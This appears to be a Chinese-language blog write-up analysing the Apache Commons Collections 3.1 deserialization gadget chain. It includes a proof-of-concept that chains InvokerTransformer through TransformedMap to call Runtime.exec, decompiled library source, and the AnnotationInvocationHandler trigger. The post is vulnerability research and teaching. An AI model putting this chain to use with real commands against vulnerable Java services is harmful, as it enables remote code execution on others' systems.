@Author: Patrilic
@Time: 2020-3-19 23:24:22

0x00 Build

Jdk version : 7u80
pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

</dependencies>

</project>

0x01 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.patrilic.vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}

cbe8379ddf10aae66787999b64ba5684

0x02 漏洞分析

简单一看,最终在
org/apache/commons/collections/functors/InvokerTransformer.class:125
调用了Method.invoke()执行了java.lang.Runtime.getRuntime().exec
a9bf116d2bd59203636194be766ee77b

InvokerTransformer.class

InvokerTransformer.class提供了一个Object方法,用Java反射的机制去创建类实例
64dc8fe72e91bc28fbf91241795e9f7c

可以通过直接调用InvokerTransformer的反射机制去调用java.class.Runtime()

1
2
3
4
5
6
7
8
9
10
11
package com.patrilic.vul;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator.app"});
invokerTransformer.transform(Runtime.getRuntime());
}
}

7e3f2d2399aea4b4aad3a909244b95f0

利用链

Poc这里并没有直接调用InvokerTransformer,而是通过ChainedTransformer
2fe3fed0216a5414c0888d805bef13a0

源码比较少,全部贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;

public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;

public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
} else {
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}
}

public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
} else if (transformers.size() == 0) {
return NOPTransformer.INSTANCE;
} else {
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;

for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {
}

FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}
}

public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 != null && transformer2 != null) {
Transformer[] transformers = new Transformer[]{transformer1, transformer2};
return new ChainedTransformer(transformers);
} else {
throw new IllegalArgumentException("Transformers must not be null");
}
}

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

public Transformer[] getTransformers() {
return this.iTransformers;
}
}

可以看到ChainedTransformer实现了Transformer接口
fbe4c1a447b880133c8d30549ff2124b
重构了transform,当我们传入类时,会一起去调用每一个Transformer.thransform()
55790d96f1cc96c94995ee3e11e57b42

那么也就是说,最终处理的还是InvokerTransformer类,同样的,那么我们也可以利用ChainedTransformer去实现java.lang.Runtime的调用

65611bbef62af107e62213a0acad069c


ChainedTransformer 调用
507fff0f47391d10cb59ab987eea846a

会直接调用
org/apache/commons/collections/functors/InvokerTransformer.class
c935937705c67a56cd230a2f436a1b16

经过一共四次for循环
bb6cf9b5ced4b80dab0c316d39d8941e

355724bfe893dec540a29132191935d7

调用Runtime.exec()


回到利用链里,这个poc使用了一个Map对象,然后调用了TransformedMap.decorate方法
fd8c12899807418c4854489cf19f07e9

经过静态方法decorate可以实例化TransformedMap
b8310b1d11258aff578960f3d6581aea

经过构造函数赋值后
563f9df1eb4b847c72ff8fc1a17e7d81

如果满足了valueTransformer,那么就可以直接调用InvokerTransformer#transform
fb50f2a6b3b37edf20de10d2fcb786bc

也就是说,只要我们传入任意setValue/put/putAll方法,都可以满足这个条件
aeaa40a7c1efa00b9f4d1c870d960152
当然,这样确实是可以成功调用transform方法,调用Runtime.exec()

但是接着跟Poc,却发现触发点并不在那,而是通过entrySet()方法
991188c28917bdaa461652f7e41e0656

1212e13087d1c72689fd3eb83bdc53c9
然后在运行到onlyElement.setValue("foobar");的时候,触发CheckSetValue()方法
19c2d82964982c166fb27fdb51ad3afc

7e0fdea57fa551464092a48c0652bdae

所以只要我们去调用SetVaule()就可以直接调用transform方法

AnnotationInvocationHandler

如果要完成反序列化,那么必须找一个readObject()中调用了TransformedMap::MapEntry#setValue()的类

sun/reflect/annotation/AnnotationInvocationHandler.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

那么,现在的问题就是,我们怎么样才能顺利的进入var5.setValue()这里来。

035bf6e72a2ed1af75c9b1caecdf58dd

b5466a671d97183d32e0684d201b5a3c

确保var7获取到java.lang.annotation.RetentionPolicy
芜湖~起飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞

完整调用栈
be7a262dd232ffb3479907e7e888c8bd

0x03 相关链接

https://xz.aliyun.com/t/4558
https://www.xmanblog.net/java-deserialize-apache-commons-collections/
https://javasec.org/javase/JavaDeserialization/Collections.html